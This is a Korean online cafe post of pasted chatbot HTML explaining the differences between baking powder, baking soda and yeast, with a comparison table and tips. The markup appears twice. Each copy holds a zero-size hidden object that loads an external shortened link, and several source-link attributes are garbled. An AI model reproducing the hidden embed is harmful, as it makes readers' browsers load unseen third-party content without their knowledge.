<![CDATA[
<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4"></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:32">베이킹파우더, 베이킹소다, 이스트: 무엇이 다를까?</h2><p data-sourcepos="3:1-3:105">빵이나 케이크를 만들 때 자주 등장하는 베이킹파우더, 베이킹소다, 이스트. 겉모습은 비슷해 보이지만 각각 다른 역할을 하며, 어떤 재료를 사용하느냐에 따라 빵의 식감과 풍미가 달라집니다.</p><p data-sourcepos="5:1-5:32"><strong>과 함께 각 재료의 특징을 자세히 알아볼까요?</strong></p><h3 data-sourcepos="7:1-7:14">1. 베이킹파우더<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f4d581c6de690462&quot;,&quot;c_6d33e83b43731769&quot;,null,&quot;rc_c1ffed53c8048247&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.foodspring./goods/detail/20662"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="베이킹파우더 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTTXFnPleAU52Zk4VBfWDDjpuzfv3cBjXslknhMR1IXFY1ki6y9sks2_RG5noxf"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.foodspring./goods/detail/20662" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f4d581c6de690462&quot;,&quot;c_6d33e83b43731769&quot;,null,&quot;rc_c1ffed53c8048247&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcRD94ymHPQfpwlBrjhejRmIOpJDpPIYaBM08JR7EP49WE_1A-NuSPKB46r_OgiUHTfE7_QtOWNTiU31B0zH38gSiGQssB2PZ-u_6LgC3PA"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.foodspring.</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 베이킹파우더 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></h3><ul data-sourcepos="11:1-14:0">
<li data-sourcepos="11:1-11:47"><strong>설명:</strong> 베이킹소다에 산성 성분과 전분을 첨가하여 만든 복합 팽창제입니다.</li>
<li data-sourcepos="12:1-12:54"><strong>역할:</strong> 반죽에 넣으면 물과 반응하여 이산화탄소 가스를 발생시켜 반죽을 부풀게 합니다.</li>
<li data-sourcepos="13:1-14:0"><strong>특징:</strong> 사용하기 편리하고, 다양한 레시피에 활용됩니다. 쿠키, 케이크 등 짧은 시간에 부드러운 식감을 내는 제품을 만들 때 주로 사용합니다.</li>
</ul><h3 data-sourcepos="15:1-15:12">2. 베이킹소다<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f4d581c6de690462&quot;,&quot;c_6d33e83b43731769&quot;,null,&quot;rc_c1ffed53c8048247&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://martmonster.com/tips/76754"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="베이킹소다 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRtsQC3F3AkYT5NjhSLHeqT5DgjyzWkAH1-mS3KGGyQwfxlFJ-MS5JfSrXhH_QI"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://martmonster.com/tips/76754" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f4d581c6de690462&quot;,&quot;c_6d33e83b43731769&quot;,null,&quot;rc_c1ffed53c8048247&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcRdRuGDjeMjkh1JdfZD6_lMNG1F5g1jKvsJq21DyPytFvxBwbqbT7Rfe-SptPqLZCnV3piHv067pXgnzXF6uplaX9VL784By_hM"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">martmonster.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 베이킹소다 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></h3><ul data-sourcepos="19:1-22:0">
<li data-sourcepos="19:1-19:36"><strong>설명:</strong> 탄산수소나트륨이 주성분인 알칼리성 물질입니다.</li>
<li data-sourcepos="20:1-20:45"><strong>역할:</strong> 산성 성분과 만나 이산화탄소를 발생시켜 반죽을 부풀게 합니다.</li>
<li data-sourcepos="21:1-22:0"><strong>특징:</strong> 베이킹파우더보다 팽창력이 강하며, 쓴맛이 있어 단독으로 사용하기보다는 산성 성분을 가진 재료와 함께 사용합니다. 쿠키, 스콘 등 바삭한 식감을 내는 제품을 만들 때 사용합니다.</li>
</ul><h3 data-sourcepos="23:1-23:11">3. 이스트<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f4d581c6de690462&quot;,&quot;c_6d33e83b43731769&quot;,null,&quot;rc_c1ffed53c8048247&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://tasty-it..com/14"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="이스트 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcREkyLAFcnMeOIlKPoYxXWGKUKGwYHfzl5qCbr2GCK0pSha_UowFH97wdSVIG1C"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://tasty-it..com/14" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f4d581c6de690462&quot;,&quot;c_6d33e83b43731769&quot;,null,&quot;rc_c1ffed53c8048247&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcToBXgAzza9nKbZnOXLy_8KziCMJjbA4mGNmcH6-AydlYmJ6NNvKYrGi-8Gvgito20vzDwIKpKRQ34TYDq8Cb60rbxPp48vBvjA3ixR8sQ"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">tasty-it..com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 이스트 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></h3><ul data-sourcepos="27:1-30:0">
<li data-sourcepos="27:1-27:47"><strong>설명:</strong> 미생물의 일종으로, 설탕을 먹고 이산화탄소와 알코올을 만들어냅니다.</li>
<li data-sourcepos="28:1-28:47"><strong>역할:</strong> 반죽 속의 설탕을 먹고 이산화탄소를 발생시켜 반죽을 발효시킵니다.</li>
<li data-sourcepos="29:1-30:0"><strong>특징:</strong> 시간이 필요하지만, 베이킹파우더나 베이킹소다보다 자연스러운 빵의 풍미를 내줍니다. 식빵, 빵 등 발효빵을 만들 때 사용합니다.</li>
</ul><h3 data-sourcepos="31:1-31:16">각 재료의 차이점 정리</h3><div class="horizontal-scroll-wrapper">
<div class="table-block-component"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><table-block _nghost-ng-c1073584411="" class="ng-star-inserted"><div _ngcontent-ng-c1073584411="" class="table-block"><div _ngcontent-ng-c1073584411="" not-end-of-paragraph="" class="table-content not-end-of-paragraph"><table data-sourcepos="33:1-37:50"><tbody><tr data-sourcepos="33:1-33:35"><th data-sourcepos="33:1-33:4">재료</th><th data-sourcepos="33:6-33:10">주성분</th><th data-sourcepos="33:12-33:15">역할</th><th data-sourcepos="33:17-33:20">특징</th><th data-sourcepos="33:22-33:33">주로 사용하는 제품</th></tr><tr data-sourcepos="35:1-35:70"><td data-sourcepos="35:1-35:8">베이킹파우더</td><td data-sourcepos="35:10-35:27">베이킹소다, 산성 성분, 전분</td><td data-sourcepos="35:29-35:38">이산화탄소 발생</td><td data-sourcepos="35:40-35:58">사용 편리, 다양한 레시피 활용</td><td data-sourcepos="35:60-35:68">쿠키, 케이크</td></tr><tr data-sourcepos="36:1-36:52"><td data-sourcepos="36:1-36:7">베이킹소다</td><td data-sourcepos="36:9-36:17">탄산수소나트륨</td><td data-sourcepos="36:19-36:28">이산화탄소 발생</td><td data-sourcepos="36:30-36:41">팽창력 강함, 쓴맛</td><td data-sourcepos="36:43-36:50">쿠키, 스콘</td></tr><tr data-sourcepos="37:1-37:50"><td data-sourcepos="37:1-37:5">이스트</td><td data-sourcepos="37:7-37:11">미생물</td><td data-sourcepos="37:13-37:22">이산화탄소 발생</td><td data-sourcepos="37:24-37:40">자연스러운 풍미, 시간 소요</td><td data-sourcepos="37:42-37:48">식빵, 빵</td></tr></tbody></table></div><div _ngcontent-ng-c1073584411="" hide-from-message-actions="" class="table-footer hide-from-message-actions ng-star-inserted"><button _ngcontent-ng-c1073584411="" mat-button="" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" class="mdc-button mat-mdc-button mat-unthemed mat-mdc-button-base" jslog="184701;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_f4d581c6de690462&quot;,&quot;c_6d33e83b43731769&quot;,null,null,null,null,null,null,null,null,null,null,0]]"><span class="mat-mdc-button-persistent-ripple mdc-button__ripple"></span><span class="mdc-button__label"><span _ngcontent-ng-c1073584411="" class="export-sheets-button"><span _ngcontent-ng-c1073584411="" class="export-sheets-icon"><mat-icon _ngcontent-ng-c1073584411="" role="img" fonticon="drive_spreadsheet" class="mat-icon notranslate google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="drive_spreadsheet"></mat-icon></span><span _ngcontent-ng-c1073584411="">Sheets로 내보내기</span></span></span><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div><!----></div></table-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div>
</div><p data-sourcepos="39:1-39:25"><strong>어떤 재료를 사용해야 할지 고민된다면?</strong></p><ul data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:30"><strong>빠르고 간편하게 만들고 싶다면:</strong> 베이킹파우더</li>
<li data-sourcepos="42:1-42:30"><strong>바삭하고 쫄깃한 식감을 원한다면:</strong> 베이킹소다</li>
<li data-sourcepos="43:1-44:0"><strong>깊은 풍미와 부드러운 식감을 원한다면:</strong> 이스트</li>
</ul><p data-sourcepos="45:1-45:6"><strong>팁:</strong></p><ul data-sourcepos="47:1-50:0">
<li data-sourcepos="47:1-47:42">베이킹파우더와 베이킹소다는 서로 대체 가능하지만, 양을 조절해야 합니다.</li>
<li data-sourcepos="48:1-48:36">이스트는 생이스트와 드라이이스트로 나뉘며, 사용법이 다릅니다.</li>
<li data-sourcepos="49:1-50:0">레시피에 맞는 재료를 사용하는 것이 중요합니다.</li>
</ul><p data-sourcepos="51:1-51:73">이제 베이킹파우더, 베이킹소다, 이스트의 차이점을 이해하셨나요? 각 재료의 특징을 잘 활용하여 맛있는 빵과 케이크를 만들어 보세요!</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:32">베이킹파우더, 베이킹소다, 이스트: 무엇이 다를까?</h2><p data-sourcepos="3:1-3:105">빵이나 케이크를 만들 때 자주 등장하는 베이킹파우더, 베이킹소다, 이스트. 겉모습은 비슷해 보이지만 각각 다른 역할을 하며, 어떤 재료를 사용하느냐에 따라 빵의 식감과 풍미가 달라집니다.</p><p data-sourcepos="5:1-5:32"><strong>과 함께 각 재료의 특징을 자세히 알아볼까요?</strong></p><h3 data-sourcepos="7:1-7:14">1. 베이킹파우더<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_f4d581c6de690462","c_6d33e83b43731769",null,"rc_c1ffed53c8048247",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.foodspring./goods/detail/20662"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="베이킹파우더 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTTXFnPleAU52Zk4VBfWDDjpuzfv3cBjXslknhMR1IXFY1ki6y9sks2_RG5noxf"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.foodspring./goods/detail/20662" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_f4d581c6de690462","c_6d33e83b43731769",null,"rc_c1ffed53c8048247",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRD94ymHPQfpwlBrjhejRmIOpJDpPIYaBM08JR7EP49WE_1A-NuSPKB46r_OgiUHTfE7_QtOWNTiU31B0zH38gSiGQssB2PZ-u_6LgC3PA"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.foodspring.</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 베이킹파우더 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></h3><ul data-sourcepos="11:1-14:0">
<li data-sourcepos="11:1-11:47"><strong>설명:</strong> 베이킹소다에 산성 성분과 전분을 첨가하여 만든 복합 팽창제입니다.</li>
<li data-sourcepos="12:1-12:54"><strong>역할:</strong> 반죽에 넣으면 물과 반응하여 이산화탄소 가스를 발생시켜 반죽을 부풀게 합니다.</li>
<li data-sourcepos="13:1-14:0"><strong>특징:</strong> 사용하기 편리하고, 다양한 레시피에 활용됩니다. 쿠키, 케이크 등 짧은 시간에 부드러운 식감을 내는 제품을 만들 때 주로 사용합니다.</li>
</ul><h3 data-sourcepos="15:1-15:12">2. 베이킹소다<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_f4d581c6de690462","c_6d33e83b43731769",null,"rc_c1ffed53c8048247",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://martmonster.com/tips/76754"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="베이킹소다 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRtsQC3F3AkYT5NjhSLHeqT5DgjyzWkAH1-mS3KGGyQwfxlFJ-MS5JfSrXhH_QI"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://martmonster.com/tips/76754" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_f4d581c6de690462","c_6d33e83b43731769",null,"rc_c1ffed53c8048247",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRdRuGDjeMjkh1JdfZD6_lMNG1F5g1jKvsJq21DyPytFvxBwbqbT7Rfe-SptPqLZCnV3piHv067pXgnzXF6uplaX9VL784By_hM"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">martmonster.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 베이킹소다 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></h3><ul data-sourcepos="19:1-22:0">
<li data-sourcepos="19:1-19:36"><strong>설명:</strong> 탄산수소나트륨이 주성분인 알칼리성 물질입니다.</li>
<li data-sourcepos="20:1-20:45"><strong>역할:</strong> 산성 성분과 만나 이산화탄소를 발생시켜 반죽을 부풀게 합니다.</li>
<li data-sourcepos="21:1-22:0"><strong>특징:</strong> 베이킹파우더보다 팽창력이 강하며, 쓴맛이 있어 단독으로 사용하기보다는 산성 성분을 가진 재료와 함께 사용합니다. 쿠키, 스콘 등 바삭한 식감을 내는 제품을 만들 때 사용합니다.</li>
</ul><h3 data-sourcepos="23:1-23:11">3. 이스트<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_f4d581c6de690462","c_6d33e83b43731769",null,"rc_c1ffed53c8048247",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://tasty-it..com/14"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="이스트 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcREkyLAFcnMeOIlKPoYxXWGKUKGwYHfzl5qCbr2GCK0pSha_UowFH97wdSVIG1C"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://tasty-it..com/14" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_f4d581c6de690462","c_6d33e83b43731769",null,"rc_c1ffed53c8048247",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcToBXgAzza9nKbZnOXLy_8KziCMJjbA4mGNmcH6-AydlYmJ6NNvKYrGi-8Gvgito20vzDwIKpKRQ34TYDq8Cb60rbxPp48vBvjA3ixR8sQ"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">tasty-it..com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 이스트 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></h3><ul data-sourcepos="27:1-30:0">
<li data-sourcepos="27:1-27:47"><strong>설명:</strong> 미생물의 일종으로, 설탕을 먹고 이산화탄소와 알코올을 만들어냅니다.</li>
<li data-sourcepos="28:1-28:47"><strong>역할:</strong> 반죽 속의 설탕을 먹고 이산화탄소를 발생시켜 반죽을 발효시킵니다.</li>
<li data-sourcepos="29:1-30:0"><strong>특징:</strong> 시간이 필요하지만, 베이킹파우더나 베이킹소다보다 자연스러운 빵의 풍미를 내줍니다. 식빵, 빵 등 발효빵을 만들 때 사용합니다.</li>
</ul><h3 data-sourcepos="31:1-31:16">각 재료의 차이점 정리</h3><div class="horizontal-scroll-wrapper">
<div class="table-block-component"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><table-block _nghost-ng-c1073584411="" class="ng-star-inserted"><div _ngcontent-ng-c1073584411="" class="table-block"><div _ngcontent-ng-c1073584411="" not-end-of-paragraph="" class="table-content not-end-of-paragraph"><table data-sourcepos="33:1-37:50"><tbody><tr data-sourcepos="33:1-33:35"><th data-sourcepos="33:1-33:4">재료</th><th data-sourcepos="33:6-33:10">주성분</th><th data-sourcepos="33:12-33:15">역할</th><th data-sourcepos="33:17-33:20">특징</th><th data-sourcepos="33:22-33:33">주로 사용하는 제품</th></tr><tr data-sourcepos="35:1-35:70"><td data-sourcepos="35:1-35:8">베이킹파우더</td><td data-sourcepos="35:10-35:27">베이킹소다, 산성 성분, 전분</td><td data-sourcepos="35:29-35:38">이산화탄소 발생</td><td data-sourcepos="35:40-35:58">사용 편리, 다양한 레시피 활용</td><td data-sourcepos="35:60-35:68">쿠키, 케이크</td></tr><tr data-sourcepos="36:1-36:52"><td data-sourcepos="36:1-36:7">베이킹소다</td><td data-sourcepos="36:9-36:17">탄산수소나트륨</td><td data-sourcepos="36:19-36:28">이산화탄소 발생</td><td data-sourcepos="36:30-36:41">팽창력 강함, 쓴맛</td><td data-sourcepos="36:43-36:50">쿠키, 스콘</td></tr><tr data-sourcepos="37:1-37:50"><td data-sourcepos="37:1-37:5">이스트</td><td data-sourcepos="37:7-37:11">미생물</td><td data-sourcepos="37:13-37:22">이산화탄소 발생</td><td data-sourcepos="37:24-37:40">자연스러운 풍미, 시간 소요</td><td data-sourcepos="37:42-37:48">식빵, 빵</td></tr></tbody></table></div><div _ngcontent-ng-c1073584411="" hide-from-message-actions="" class="table-footer hide-from-message-actions ng-star-inserted"><button _ngcontent-ng-c1073584411="" mat-button="" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" class="mdc-button mat-mdc-button mat-unthemed mat-mdc-button-base" jslog="184701;track:generic_click,impression;BardVeMetadataKey:[["r_f4d581c6de690462","c_6d33e83b43731769",null,null,null,null,null,null,null,null,null,null,0]]"><span class="mat-mdc-button-persistent-ripple mdc-button__ripple"></span><span class="mdc-button__label"><span _ngcontent-ng-c1073584411="" class="export-sheets-button"><span _ngcontent-ng-c1073584411="" class="export-sheets-icon"><mat-icon _ngcontent-ng-c1073584411="" role="img" fonticon="drive_spreadsheet" class="mat-icon notranslate google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="drive_spreadsheet"></mat-icon></span><span _ngcontent-ng-c1073584411="">Sheets로 내보내기</span></span></span><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div><!----></div></table-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div>
</div><p data-sourcepos="39:1-39:25"><strong>어떤 재료를 사용해야 할지 고민된다면?</strong></p><ul data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:30"><strong>빠르고 간편하게 만들고 싶다면:</strong> 베이킹파우더</li>
<li data-sourcepos="42:1-42:30"><strong>바삭하고 쫄깃한 식감을 원한다면:</strong> 베이킹소다</li>
<li data-sourcepos="43:1-44:0"><strong>깊은 풍미와 부드러운 식감을 원한다면:</strong> 이스트</li>
</ul><p data-sourcepos="45:1-45:6"><strong>팁:</strong></p><ul data-sourcepos="47:1-50:0">
<li data-sourcepos="47:1-47:42">베이킹파우더와 베이킹소다는 서로 대체 가능하지만, 양을 조절해야 합니다.</li>
<li data-sourcepos="48:1-48:36">이스트는 생이스트와 드라이이스트로 나뉘며, 사용법이 다릅니다.</li>
<li data-sourcepos="49:1-50:0">레시피에 맞는 재료를 사용하는 것이 중요합니다.</li>
</ul><p data-sourcepos="51:1-51:73">이제 베이킹파우더, 베이킹소다, 이스트의 차이점을 이해하셨나요? 각 재료의 특징을 잘 활용하여 맛있는 빵과 케이크를 만들어 보세요!</p></div>
</div></div>
<!-- -->
]]>
카페 게시글
하루 하나 영어 표현
베이킹파우더 베이킹소다 이스트 차이점 무엇일까
이도환
추천 0
조회 3
24.11.30 05:54
댓글 0
다음검색
